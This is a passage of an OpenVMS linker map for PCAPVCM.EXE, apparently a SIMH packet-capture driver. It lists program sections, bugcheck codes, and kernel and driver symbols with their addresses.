PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC, MOD + PCAPVCM 000041B0 000041BF 00000010 ( 16.) OCTA 4 + VCMUTIL 000041C0 000041CF 00000010 ( 16.) OCTA 4 + +EXEC$NONPAGED_DATA 000041D0 000041D0 00000000 ( 0.) BYTE 0 PIC,CON,REL,GBL,NOSHR,NOEXE, WRT,NOVEC, MOD + +EXEC$INIT_000 00008000 00008007 00000008 ( 8.) LONG 2 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC, MOD + SYS$DOINIT 00008000 00008007 00000008 ( 8.) LONG 2 + +EXEC$INIT_001 00008008 0000800F 00000008 ( 8.) LONG 2 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC, MOD + SYS$DOINIT 00008008 00008008 00000000 ( 0.) LONG 2 + PCAPVCM 00008008 0000800F 00000008 ( 8.) LONG 2 + +EXEC$INIT_002 00008010 00008013 00000004 ( 4.) LONG 2 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC, MOD + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 4 + + +Psect Name Module Name Base End Length Align Attributes +---------- ----------- ---- --- ------ ----- ---------- +EXEC$INIT_002 00008010 00008013 00000004 ( 4.) LONG 2 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC, MOD + SYS$DOINIT 00008010 00008013 00000004 ( 4.) LONG 2 + +EXEC$INIT_CODE 00008020 000081E3 000001C4 ( 452.) 2 ** 5 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC, MOD + SYS$DOINIT 00008020 000081E3 000001C4 ( 452.) 2 ** 5 + +EXEC$INIT_LINKAGE 00008200 0000826F 00000070 ( 112.) 2 ** 5 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC, MOD + SYS$DOINIT 00008200 0000826F 00000070 ( 112.) 2 ** 5 + +EXEC$INIT_SSTBL_000 00008270 00008270 00000000 ( 0.) LONG 2 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC, MOD + SYS$DOINIT 00008270 00008270 00000000 ( 0.) LONG 2 + +EXEC$INIT_SSTBL_001 00008270 00008270 00000000 ( 0.) LONG 2 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC, MOD + SYS$DOINIT 00008270 00008270 00000000 ( 0.) LONG 2 + +EXEC$INIT_SSTBL_002 00008270 00008273 00000004 ( 4.) LONG 2 PIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC, MOD + SYS$DOINIT 00008270 00008273 00000004 ( 4.) LONG 2 + +EXEC$NONPAGED_LINKAGE 0000C000 0000C41F 00000420 ( 1056.) OCTA 4 NOPIC,CON,REL,LCL,NOSHR,NOEXE,NOWRT,NOVEC, MOD + PCAPVCM 0000C000 0000C41F 00000420 ( 1056.) OCTA 4 + +. BLANK . 00010000 00010000 00000000 ( 0.) OCTA 4 NOPIC,CON,REL,LCL,NOSHR, EXE, WRT,NOVEC, MOD + SYS$DOINIT 00010000 00010000 00000000 ( 0.) OCTA 4 + SYS$SSDEF 00010000 00010000 00000000 ( 0.) OCTA 4 + PCAPVCM_INIT 00010000 00010000 00000000 ( 0.) OCTA 4 + VCI_JACKET 00010000 00010000 00000000 ( 0.) OCTA 4 + +EXEC$INIT_SSTBL_002PIC 00010000 00010000 00000000 ( 0.) BYTE 0 NOPIC,CON,REL,GBL,NOSHR, EXE, WRT,NOVEC, MOD + +EXEC$NONPAGED_CODE 00010000 00011223 00001224 ( 4644.) OCTA 4 PIC,CON,REL,LCL, SHR, EXE,NOWRT,NOVEC, MOD + PCAPVCM 00010000 00011223 00001224 ( 4644.) OCTA 4 + +$GLOBAL$ 00014000 00014000 00000000 ( 0.) OCTA 4 NOPIC,CON,REL,LCL,NOSHR,NOEXE, WRT,NOVEC,NOMOD + BUGCHECK_CODES 00014000 00014000 00000000 ( 0.) OCTA 4 + +$INITIAL$ 00014000 00014000 00000000 ( 0.) OCTA 4 NOPIC,CON,REL,LCL,NOSHR,NOEXE,NOWRT,NOVEC,NOMOD + BUGCHECK_CODES 00014000 00014000 00000000 ( 0.) OCTA 4 + +$OWN$ 00014000 00014000 00000000 ( 0.) OCTA 4 NOPIC,CON,REL,LCL,NOSHR,NOEXE, WRT,NOVEC,NOMOD + BUGCHECK_CODES 00014000 00014000 00000000 ( 0.) OCTA 4 + +$PLIT$ 00014000 00014000 00000000 ( 0.) OCTA 4 NOPIC,CON,REL,LCL,NOSHR,NOEXE,NOWRT,NOVEC,NOMOD + BUGCHECK_CODES 00014000 00014000 00000000 ( 0.) OCTA 4 + +$READONLY_ADDR$ 00014000 00014000 00000000 ( 0.) OCTA 4 PIC,CON,REL,LCL,NOSHR,NOEXE,NOWRT,NOVEC,NOMOD + PCAPVCM 00014000 00014000 00000000 ( 0.) OCTA 4 + VCMUTIL 00014000 00014000 00000000 ( 0.) OCTA 4 + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 5 + + +-----------------+ + ! Symbols By Name ! + +-----------------+ + +Symbol Value Symbol Value Symbol Value +------ ----- ------ ----- ------ ----- +ADD_COUNTED_VALUE 00004068-R BUG$_CHMVEC 000004D8 +ADD_INT_VALUE 00004088-R BUG$_CIPORT 00000558 +ADD_LIL_ADDR_VALUE 00004098-R BUG$_CLUEXIT 000005D8 +ADD_LIL_ITEM 00004030-R BUG$_CLUSWVER 000006F8 +BUG$_ACCVIOKSTK 00000610 BUG$_CNXMGRERR 000005A8 +BUG$_ACCVIOMCHK 00000608 BUG$_CONSOLRX50 00000628 +BUG$_ACPMBFAIL 00000008 BUG$_CONTRACT 000000C0 +BUG$_ACPRECURS 000004A0 BUG$_CORRUPTEMB 000008A8 +BUG$_ACPUNSTAK 000004A8 BUG$_CPUBUSYWAIT 00000778 +BUG$_ACPVAFAIL 00000010 BUG$_CPUCEASED 000005D0 +BUG$_ALCPHD 00000018 BUG$_CPUEXIT 000006A8 +BUG$_ALCSMBCLR 00000020 BUG$_CPUNOTPRIMARY 000007B0 +BUG$_APTREFHIGH 00000028 BUG$_CPUSANITY 00000770 +BUG$_APTWRTERR 00000030 BUG$_CPUSPINWAIT 00000788 +BUG$_ASSERTFAIL 000009D8 BUG$_CSLBUG 00000858 +BUG$_ASYNCWRTER 00000038 BUG$_CTERM 00000660 +BUG$_BADALORQSZ 00000040 BUG$_CTRLERR 00000990 +BUG$_BADBITMAPID 00000580 BUG$_CUSTOMER 000008E0 +BUG$_BADBOOTCB 000000F0 BUG$_CWLNMERR 00000A48 +BUG$_BADBUFADR 00000048 BUG$_CWSERR 00000688 +BUG$_BADBUFTYP 00000050 BUG$_DBLERR 000000C8 +BUG$_BADDALRQSZ 00000058 BUG$_DCBCNTRBAD 00000888 +BUG$_BADDOP 00000568 BUG$_DDTMBUG 00000848 +BUG$_BADFID 00000060 BUG$_DEBUGCRASH 00000960 +BUG$_BADFILEHDR 00000928 BUG$_DECNET 000008D0 +BUG$_BADFORKIPL 00000068 BUG$_DECPTREF 000000D0 +BUG$_BADHOMEBLK 00000910 BUG$_DECWINDOWS 00000840 +BUG$_BADINDEXHDR 00000918 BUG$_DELCONPFN 000000D8 +BUG$_BADLCKWSLE 00000070 BUG$_DELGBLSEC 000000E0 +BUG$_BADMCKCOD 00000078 BUG$_DELGBLWCB 000000E8 +BUG$_BADPAGFILA 00000080 BUG$_DELWSLEX 000000F8 +BUG$_BADPAGFILD 00000088 BUG$_DEQSUBLCKS 000004F0 +BUG$_BADPAGTYPE 00000090 BUG$_DIRENTRY 00000100 +BUG$_BADPPFLREFCNT 00000750 BUG$_DISKCLASS 00000550 +BUG$_BADPRCPGFLC 00000758 BUG$_DISKSERVE 00000790 +BUG$_BADPRCPGFLX 00000748 BUG$_DOUBLDALOC 00000108 +BUG$_BADQHDR 00000478 BUG$_DOUBLDEALO 00000110 +BUG$_BADROOTHDR 00000920 BUG$_DSSIPORT 00000838 +BUG$_BADRSEIPL 00000098 BUG$_DUPCLASS 00000680 +BUG$_BADRTPRI 00000718 BUG$_ERRCACHFUL 000004B8 +BUG$_BADRVNWCB 000004B0 BUG$_ERRHALT 00000118 +BUG$_BADSBMBLK 000000A0 BUG$_EXHFUL 00000120 +BUG$_BADSETFUNC 00000880 BUG$_EXPANDPHD 00000128 +BUG$_BADSWPPAG 000000A8 BUG$_EXTCACHIV 000004C0 +BUG$_BADVECTOR 00000700 BUG$_F64ERR 000009E8 +BUG$_BADWCBPT 000000B0 BUG$_FATALEXCPT 00000130 +BUG$_BDPPURGERR 00000488 BUG$_FATMEMERR 000007A0 +BUG$_BRDMSGLOST 00000490 BUG$_FILCNTNONZ 000004E0 +BUG$_CHMONIS 000000B8 BUG$_FREEPAGREF 00000138 + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 6 + + +Symbol Value Symbol Value Symbol Value +------ ----- ------ ----- ------ ----- +BUG$_FREWSLX 00000140 BUG$_IVGBLTYP 000001E8 +BUG$_GBLPAGSZRO 00000148 BUG$_IVLISTK 000001F0 +BUG$_GBLWSLXERR 00000150 BUG$_IVSSRVRQST 000001F8 +BUG$_GFX_INVTB 000008B8 BUG$_IVWSETLIST 00000200 +BUG$_GLXALLNODES 00000A50 BUG$_KRNLSTAKNV 00000208 +BUG$_GLXCRASH 00000A90 BUG$_KRPEMPTY 00000630 +BUG$_GLXFATAL 00000A58 BUG$_L1PTNOTMAP 00000940 +BUG$_GLXRMTMCHK 00000AA0 BUG$_L1PTNOTUNMAP 00000948 +BUG$_GLXRMTPFN 00000A68 BUG$_L2PTNOTUNMAP 00000950 +BUG$_GLXSHUTSHMEM 00000A88 BUG$_LASTBUG 00000AC8 +BUG$_GPGNULPGFL 00000158 BUG$_LFSERR 000009F0 +BUG$_HALT 00000160 BUG$_LICENSERR 000007B8 +BUG$_HDRNOTMAP 00000168 BUG$_LKBGRANTED 00000520 +BUG$_ICONCLUDAT 00000640 BUG$_LKBREFNEG 000004F8 +BUG$_ICONPFNDAT 00000170 BUG$_LOCKMGRERR 000005A0 +BUG$_ICPAGELOC 00000178 BUG$_LOGFAIL 00000860 +BUG$_IFREPAGCNT 00000180 BUG$_MACHINECHK 00000210 +BUG$_ILLEVTNUM 00000188 BUG$_MAKEWSLE 00000218 +BUG$_ILLQBUSCFG 00000720 BUG$_MAPCNTZER 000004C8 +BUG$_ILLVEC 00000190 BUG$_MBACBHUNG 00000498 +BUG$_INCONMMGST 00000908 BUG$_MCHECKPAL 00000A18 +BUG$_INCONSTATE 00000198 BUG$_MCHKMCHK 00000810 +BUG$_INCON_CONSOLE 00000958 BUG$_MCHKSTKNV 00000818 +BUG$_INCON_SCHED 00000388 BUG$_MC_FORCEDCRASH 00000A20 +BUG$_INCON_SHELL 00000900 BUG$_MC_INCONSTATE 00000A28 +BUG$_INCPTREF 000001A0 BUG$_MFYNULPGFL 00000228 +BUG$_INSFLOCKID 00000658 BUG$_MODRELNBAK 00000220 +BUG$_INSFPOOL 00000650 BUG$_MPCPUCEASED 00000678 +BUG$_INSF_NONPAGED 00000A08 BUG$_MPWALCIRP 00000230 +BUG$_INSF_PAGED 00000A60 BUG$_MSCPCLASS 00000638 +BUG$_INSNFREPAG 000001A8 BUG$_MSCPSERV 00000618 +BUG$_INSSWPFIL 000001B0 BUG$_MTXCNTNONZ 00000238 +BUG$_INSWAPERR 000001B8 BUG$_MTXRELERR 00000AA8 +BUG$_INVCHAN 000001C0 BUG$_MULDEALNPAG 000007E8 +BUG$_INVCTERMMSG 00000898 BUG$_NETDLLERR 000007C8 +BUG$_INVEXCEPTN 000001C8 BUG$_NETECLERR 000007D8 +BUG$_INVLOCKID 000005B8 BUG$_NETNOBUF 00000240 +BUG$_INVPFLMAP 00000828 BUG$_NETNOSTATE 00000248 +BUG$_INVPFN 00000A70 BUG$_NETRCVPKT 00000250 +BUG$_INVPTBR 00000978 BUG$_NETRTGERR 000007D0 +BUG$_INVPTEFMT 000001D0 BUG$_NETSESERR 000007E0 +BUG$_INVRSPID 00000530 BUG$_NETSYSSRV 00000258 +BUG$_INVSCBB 00000970 BUG$_NETTRANCNT 00000260 +BUG$_INVSECURESTATE 00000A38 BUG$_NOACPCHAN 00000268 +BUG$_INVTQEFMT 000001D8 BUG$_NOACPMAIL 00000270 +BUG$_INV_MAPREG_PAR 00000968 BUG$_NOAQBACP 00000278 +BUG$_IOMACHINECHK 00000998 BUG$_NOBUFPCKT 00000280 +BUG$_IOMBXERR 00000980 BUG$_NOBVPVCB 00000288 +BUG$_IPCBUG 00000850 BUG$_NOCALLTRANS 000009A0 +BUG$_IVBAKADIO 000001E0 BUG$_NOCONSBUFF 000007C0 +BUG$_IVBYTEALGN 00000600 BUG$_NODEFFONT 00000560 +BUG$_IVDSKCONFG 00000668 BUG$_NOMULTBK 00000290 + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 7 + + +Symbol Value Symbol Value Symbol Value +------ ----- ------ ----- ------ ----- +BUG$_NONEXSTACP 00000298 BUG$_REMOTE_AGENT 000008D8 +BUG$_NOPRCPGFL 00000768 BUG$_RESEXH 00000620 +BUG$_NORCVBUF 000002A0 BUG$_RMSBUG 000003A0 +BUG$_NOSUCHFILE 00000930 BUG$_RMS_INCONSTATE 00000A98 +BUG$_NOTDDBDDB 000002A8 BUG$_RSBREFNEG 00000500 +BUG$_NOTFCBFCB 000002B0 BUG$_RSBREFNZRO 00000508 +BUG$_NOTFCBWCB 000002B8 BUG$_RSVD_ISV 000008E8 +BUG$_NOTFCPWCB 000002C0 BUG$_RSVD_LP 000008F0 +BUG$_NOTIDLE 00000890 BUG$_RUF 00000590 +BUG$_NOTIRPAQB 000002C8 BUG$_SBIAERROR 000005C0 +BUG$_NOTLKB 00000528 BUG$_SCANDEADPT 000003A8 +BUG$_NOTMTLMTL 000002D0 BUG$_SCBRDERR 00000510 +BUG$_NOTPCB 000002D8 BUG$_SCSERROR 00000AC0 +BUG$_NOTPSBIRP 00000A40 BUG$_SCSIPORT 000008A0 +BUG$_NOTRVTVCB 000002E0 BUG$_SECAUDERR 00000830 +BUG$_NOTSYSVA 00000738 BUG$_SECAUDEXH 000007F8 +BUG$_NOTUCBIRP 000002E8 BUG$_SECAUDTCB 000009C0 +BUG$_NOTUCBRVT 000002F0 BUG$_SECIPLHIGH 000009C8 +BUG$_NOTUCBUCB 000002F8 BUG$_SECOSRERR 000009A8 +BUG$_NOTUCBWCB 000004D0 BUG$_SECREFNEG 000003B0 +BUG$_NOTVCBUCB 00000300 BUG$_SECURITY1 00000800 +BUG$_NOTVVPVCB 00000308 BUG$_SECURITY2 00000808 +BUG$_NOTWCBIRP 00000310 BUG$_SEPPUCLU 00000AB0 +BUG$_NOTWCBWCB 00000540 BUG$_SEQ_NUM_OVF 000008F8 +BUG$_NOUSRWCS 00000318 BUG$_SHADBOOTFAIL 000008C8 +BUG$_NSABLOST 000009B8 BUG$_SHADDETINCON 000008B0 +BUG$_OPERATOR 00000470 BUG$_SHADZEROMBR 00000A10 +BUG$_OPERCRASH 00000648 BUG$_SHRCNTNEG 000003B8 +BUG$_OUTOFSYNC 000005F8 BUG$_SMCIPORT 00000A80 +BUG$_OUTSWPERR 00000320 BUG$_SPLACQERR 000006B0 +BUG$_PAGEREDERR 00000328 BUG$_SPLINVIPL 000006E0 +BUG$_PAGEWRTERR 00000330 BUG$_SPLIPLHIGH 000006D0 +BUG$_PAGNTRNVAL 00000338 BUG$_SPLIPLLOW 000006C8 +BUG$_PFLREFNEG 00000760 BUG$_SPLNOTMAP 000006E8 +BUG$_PFNFIXUP 00000710 BUG$_SPLNOTSPL 000006D8 +BUG$_PFNLISTCNT 00000340 BUG$_SPLRELERR 000006B8 +BUG$_PFNREFNZRO 00000348 BUG$_SPLRSTERR 000006C0 +BUG$_PGFGBLBAD 00000350 BUG$_SSRVEXCEPT 000003C0 +BUG$_PGFIPLHI 00000358 BUG$_SSVECFULL 00000708 +BUG$_PGFLOCBAD 00000360 BUG$_STATENTSVD 00000518 +BUG$_PM_VMSPORT 00000A30 BUG$_STRNOTWCB 000003C8 +BUG$_POOLCHECK 00000780 BUG$_SWAPWSLE 000003D0 +BUG$_POSIXBUG 00000988 BUG$_SYSADJWSL 000003D8 +BUG$_POWEROFF 00000A78 BUG$_SYSAPLERR 000009D0 +BUG$_PPGFLVANEG 000007F0 BUG$_SYSTRMERR 000003E0 +BUG$_PROCGONE 00000368 BUG$_TAPECLASS 00000598 +BUG$_PTELENVIOL 00000370 BUG$_TESTING123 00000AB8 +BUG$_PTRCNT 00000378 BUG$_TIPCUFLOW 000003E8 +BUG$_PURGWSSCN 00000380 BUG$_TMSCPSERV 000009E0 +BUG$_RDSNONRES 00000390 BUG$_TOOMANYUIDS 000008C0 +BUG$_REFCNTNEG 00000398 BUG$_TTDRVR 00000740 +BUG$_REGCORDET 000009B0 BUG$_TTDRVR1 000007A8 + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 8 + + +Symbol Value Symbol Value Symbol Value +------ ----- ------ ----- ------ ----- +BUG$_UBMAPEXCED 000003F0 INIT_TRANSMIT_VCRP 0000C080-R +BUG$_UCODEREV 00000670 INIT_VCIB 0000C000-R +BUG$_UDAPORT 00000548 INIVEC$PCAP$VCM_INIT 00008008-R +BUG$_UNABLCREVA 000003F8 MMG$GL_PAGE_SIZE 000094E0-RX +BUG$_UNABLCREVM 00000938 MMG$GL_SPTBASE 00009820-RX +BUG$_UNEXPIOINT 00000400 MMG$GQ_LEVEL_WIDTH 0000CE90-RX +BUG$_UNKNPRQ 00000480 MMG$GQ_PT_BASE 0000CF20-RX +BUG$_UNKRSTRT 00000408 MMG$GQ_S0S1BASE_PTE_ADDRESS 0000CF40-RX +BUG$_UNSUPRTCPU 000005E0 MMG$GQ_VA_BITS 0000CF90-RX +BUG$_UNXINTEXC 00000410 MMG_STD$ALLOC_SYSTEM_VA_MAP 0000D8D0-RX +BUG$_UNXSIGNAL 00000418 MMG_STD$DEALLOC_SVA 0000BD80-RX +BUG$_VAXCLUSTER 00000798 NET$AR_LAN_VECTOR 000090A0-RX +BUG$_VAXPORT 000006F0 OTS$MOVE 00006E50-RX +BUG$_VBNMAPFAIL 00000420 OTS$ZERO 00006FC0-RX +BUG$_VMSTESTERR 00000868 PCAP$VCM_ALLOC_PORT 0000C2A0-R +BUG$_VPERR 00000878 PCAP$VCM_BUILD_HEADER 0000C040-R +BUG$_VPIPLHIGH 00000870 PCAP$VCM_CREATE_PORT 0000C200-R +BUG$_VWS1 00000588 PCAP$VCM_DELETE_PORT 0000C1D0-R +BUG$_VWS2 000005E8 PCAP$VCM_DISABLE_PORT 0000C178-R +BUG$_VWS3 000005F0 PCAP$VCM_ENABLE_PORT 0000C1B0-R +BUG$_VWS4 00000690 PCAP$VCM_FREE_PORT 0000C270-R +BUG$_VWS5 00000698 PCAP$VCM_GETDEVICE 0000C240-R +BUG$_VWS6 000006A0 PCAP$VCM_GET_CONTEXT 0000C2D0-R +BUG$_VWSNONPOOL 00000570 PCAP$VCM_GET_LAST_ERROR 0000C148-R +BUG$_VWSNOPPOOL 00000578 PCAP$VCM_GET_MGM_ERROR 0000C158-R +BUG$_WACKQEMPTY 00000428 PCAP$VCM_GET_STATISTICS 0000C030-R +BUG$_WATCHPOINT 00000728 PCAP$VCM_INIT 0000C3B0-R +BUG$_WCBFCBMNG 00000538 PCAP$VCM_READ_PACKET 0000C108-R +BUG$_WCSCORR 000005C8 PCAP$VCM_SEND_PACKET 0000C090-R +BUG$_WPDRVRERR 00000730 PCAP$VCM_UNLOAD 0000C330-R +BUG$_WRONGPRIMARY 00000820 PCAP_EVENT 0000C2E0-R +BUG$_WRTINVBUF 00000430 PCAP_MGMCOMPL 0000C310-R +BUG$_WRTINVHDR 00000438 PCAP_RXCOMPL 0000C2F0-R +BUG$_WRTPGSBAK 00000440 PCAP_TXCOMPL 0000C320-R +BUG$_WSLENOVAL 00000448 SMP$AL_IPLVEC 00008B30-RX +BUG$_WSLPAGCNT 00000450 SMP$GL_FLAGS 00008420-RX +BUG$_WSLVANVAL 00000458 SMP_STD$ACQUIRE 00006B30-RX +BUG$_WSLXVANMAT 00000460 SMP_STD$RESTORE 00006B70-RX +BUG$_WSSIZEERR 000004E8 SYS$K_VERSION 00000000-X +BUG$_XFSCERR 000009F8 SYS$K_VERSION_01 00000010-X +BUG$_XFSSERR 00000A00 SYS$K_VERSION_02 00000020-X +BUG$_XQPERR 000005B0 SYS$K_VERSION_03 00000030-X +BUG$_ZEROPAGE 00000468 SYS$K_VERSION_04 00000040-X +EXE$ALLOCATE_POOL 0000E9B0-RX SYS$K_VERSION_05 00000050-X +EXE$CONNECT_SERVICES 000029C0-RX SYS$K_VERSION_06 00000060-X +EXE$DEALLOCATE_POOL 0000E9C0-RX SYS$K_VERSION_07 00000070-X +EXE$GL_STATE 00009900-RX SYS$K_VERSION_08 00000080-X +FIND_VALUE 00004058-R SYS$K_VERSION_09 00000090-X +INI$A_BUILD_TABLE 00008270-R SYS$K_VERSION_10 000000A0-X +INI$A_VECTOR_TABLE 00008000-R SYS$K_VERSION_11 000000B0-X +INI$SYSTEM_SERVICE 00008228-R SYS$K_VERSION_12 000000C0-X +INIT_MGMT_VCRP 0000C168-R SYS$K_VERSION_13 000000D0-X + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 9 + + +Symbol Value Symbol Value Symbol Value +------ ----- ------ ----- ------ ----- +SYS$K_VERSION_14 000000E0-X +SYS$K_VERSION_15 000000F0-X +SYS$K_VERSION_16 00000100-X +SYS$K_VERSION_17 0000A6F0-X +SYS$K_VERSION_18 0000A700-X +SYS$K_VERSION_19 0000FF20-X +VCI_BUILD_HEADER 00004188-R +VCI_CREATE_PORT 000040E8-R +VCI_DELETE_PORT 00004108-R +VCI_DELETE_VCRP 00004148-R +VCI_GET_DEVICE 000040C0-R +VCI_MGMT_PORT 00004128-R +VCI_TRANSMIT_FRAME 00004168-R + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 10 + + +------------------+ + ! Symbols By Value ! + +------------------+ + +Value Symbols... +----- ---------- +00000000 X-SYS$K_VERSION +00000008 BUG$_ACPMBFAIL +00000010 BUG$_ACPVAFAIL X-SYS$K_VERSION_01 +00000018 BUG$_ALCPHD +00000020 BUG$_ALCSMBCLR X-SYS$K_VERSION_02 +00000028 BUG$_APTREFHIGH +00000030 BUG$_APTWRTERR X-SYS$K_VERSION_03 +00000038 BUG$_ASYNCWRTER +00000040 BUG$_BADALORQSZ X-SYS$K_VERSION_04 +00000048 BUG$_BADBUFADR +00000050 BUG$_BADBUFTYP X-SYS$K_VERSION_05 +00000058 BUG$_BADDALRQSZ +00000060 BUG$_BADFID X-SYS$K_VERSION_06 +00000068 BUG$_BADFORKIPL +00000070 BUG$_BADLCKWSLE X-SYS$K_VERSION_07 +00000078 BUG$_BADMCKCOD +00000080 BUG$_BADPAGFILA X-SYS$K_VERSION_08 +00000088 BUG$_BADPAGFILD +00000090 BUG$_BADPAGTYPE X-SYS$K_VERSION_09 +00000098 BUG$_BADRSEIPL +000000A0 BUG$_BADSBMBLK X-SYS$K_VERSION_10 +000000A8 BUG$_BADSWPPAG +000000B0 BUG$_BADWCBPT X-SYS$K_VERSION_11 +000000B8 BUG$_CHMONIS +000000C0 BUG$_CONTRACT X-SYS$K_VERSION_12 +000000C8 BUG$_DBLERR +000000D0 BUG$_DECPTREF X-SYS$K_VERSION_13 +000000D8 BUG$_DELCONPFN +000000E0 BUG$_DELGBLSEC X-SYS$K_VERSION_14 +000000E8 BUG$_DELGBLWCB +000000F0 BUG$_BADBOOTCB X-SYS$K_VERSION_15 +000000F8 BUG$_DELWSLEX +00000100 BUG$_DIRENTRY X-SYS$K_VERSION_16 +00000108 BUG$_DOUBLDALOC +00000110 BUG$_DOUBLDEALO +00000118 BUG$_ERRHALT +00000120 BUG$_EXHFUL +00000128 BUG$_EXPANDPHD +00000130 BUG$_FATALEXCPT +00000138 BUG$_FREEPAGREF +00000140 BUG$_FREWSLX +00000148 BUG$_GBLPAGSZRO +00000150 BUG$_GBLWSLXERR +00000158 BUG$_GPGNULPGFL +00000160 BUG$_HALT +00000168 BUG$_HDRNOTMAP +00000170 BUG$_ICONPFNDAT +00000178 BUG$_ICPAGELOC +00000180 BUG$_IFREPAGCNT + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 11 + + +Value Symbols... +----- ---------- +00000188 BUG$_ILLEVTNUM +00000190 BUG$_ILLVEC +00000198 BUG$_INCONSTATE +000001A0 BUG$_INCPTREF +000001A8 BUG$_INSNFREPAG +000001B0 BUG$_INSSWPFIL +000001B8 BUG$_INSWAPERR +000001C0 BUG$_INVCHAN +000001C8 BUG$_INVEXCEPTN +000001D0 BUG$_INVPTEFMT +000001D8 BUG$_INVTQEFMT +000001E0 BUG$_IVBAKADIO +000001E8 BUG$_IVGBLTYP +000001F0 BUG$_IVLISTK +000001F8 BUG$_IVSSRVRQST +00000200 BUG$_IVWSETLIST +00000208 BUG$_KRNLSTAKNV +00000210 BUG$_MACHINECHK +00000218 BUG$_MAKEWSLE +00000220 BUG$_MODRELNBAK +00000228 BUG$_MFYNULPGFL +00000230 BUG$_MPWALCIRP +00000238 BUG$_MTXCNTNONZ +00000240 BUG$_NETNOBUF +00000248 BUG$_NETNOSTATE +00000250 BUG$_NETRCVPKT +00000258 BUG$_NETSYSSRV +00000260 BUG$_NETTRANCNT +00000268 BUG$_NOACPCHAN +00000270 BUG$_NOACPMAIL +00000278 BUG$_NOAQBACP +00000280 BUG$_NOBUFPCKT +00000288 BUG$_NOBVPVCB +00000290 BUG$_NOMULTBK +00000298 BUG$_NONEXSTACP +000002A0 BUG$_NORCVBUF +000002A8 BUG$_NOTDDBDDB +000002B0 BUG$_NOTFCBFCB +000002B8 BUG$_NOTFCBWCB +000002C0 BUG$_NOTFCPWCB +000002C8 BUG$_NOTIRPAQB +000002D0 BUG$_NOTMTLMTL +000002D8 BUG$_NOTPCB +000002E0 BUG$_NOTRVTVCB +000002E8 BUG$_NOTUCBIRP +000002F0 BUG$_NOTUCBRVT +000002F8 BUG$_NOTUCBUCB +00000300 BUG$_NOTVCBUCB +00000308 BUG$_NOTVVPVCB +00000310 BUG$_NOTWCBIRP +00000318 BUG$_NOUSRWCS +00000320 BUG$_OUTSWPERR + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 12 + + +Value Symbols... +----- ---------- +00000328 BUG$_PAGEREDERR +00000330 BUG$_PAGEWRTERR +00000338 BUG$_PAGNTRNVAL +00000340 BUG$_PFNLISTCNT +00000348 BUG$_PFNREFNZRO +00000350 BUG$_PGFGBLBAD +00000358 BUG$_PGFIPLHI +00000360 BUG$_PGFLOCBAD +00000368 BUG$_PROCGONE +00000370 BUG$_PTELENVIOL +00000378 BUG$_PTRCNT +00000380 BUG$_PURGWSSCN +00000388 BUG$_INCON_SCHED +00000390 BUG$_RDSNONRES +00000398 BUG$_REFCNTNEG +000003A0 BUG$_RMSBUG +000003A8 BUG$_SCANDEADPT +000003B0 BUG$_SECREFNEG +000003B8 BUG$_SHRCNTNEG +000003C0 BUG$_SSRVEXCEPT +000003C8 BUG$_STRNOTWCB +000003D0 BUG$_SWAPWSLE +000003D8 BUG$_SYSADJWSL +000003E0 BUG$_SYSTRMERR +000003E8 BUG$_TIPCUFLOW +000003F0 BUG$_UBMAPEXCED +000003F8 BUG$_UNABLCREVA +00000400 BUG$_UNEXPIOINT +00000408 BUG$_UNKRSTRT +00000410 BUG$_UNXINTEXC +00000418 BUG$_UNXSIGNAL +00000420 BUG$_VBNMAPFAIL +00000428 BUG$_WACKQEMPTY +00000430 BUG$_WRTINVBUF +00000438 BUG$_WRTINVHDR +00000440 BUG$_WRTPGSBAK +00000448 BUG$_WSLENOVAL +00000450 BUG$_WSLPAGCNT +00000458 BUG$_WSLVANVAL +00000460 BUG$_WSLXVANMAT +00000468 BUG$_ZEROPAGE +00000470 BUG$_OPERATOR +00000478 BUG$_BADQHDR +00000480 BUG$_UNKNPRQ +00000488 BUG$_BDPPURGERR +00000490 BUG$_BRDMSGLOST +00000498 BUG$_MBACBHUNG +000004A0 BUG$_ACPRECURS +000004A8 BUG$_ACPUNSTAK +000004B0 BUG$_BADRVNWCB +000004B8 BUG$_ERRCACHFUL +000004C0 BUG$_EXTCACHIV + +DKA100:[SIMH.PCAP-VMS.PCAPVCM]PCAPVCM.EXE;3 6-NOV-2003 18:00 Linker A12-03 Page 13 + + +Value Symbols... +----- ---------- +000004C8 BUG$_MAPCNTZER +000004D0 BUG$_NOTUCBWCB +000004D8 BUG$_CHMVEC +000004E0 BUG$_FILCNTNONZ +000004E8 BUG$_WSSIZEERR +000004F0 BUG$_DEQSUBLCKS +000004F8 BUG$_LKBREFNEG +00000500 BUG$_RSBREFNEG +00000508 BUG$_RSBREFNZRO +00000510 BUG$_SCBRDERR +00000518 BUG$_STATENTSVD +00000520 BUG$_LKBGRANTED +00000528 BUG$_NOTLKB +00000530 BUG$_INVRSPID +00000538 BUG$_WCBFCBMNG +00000540 BUG$_NOTWCBWCB +00000548 BUG$_UDAPORT +00000550 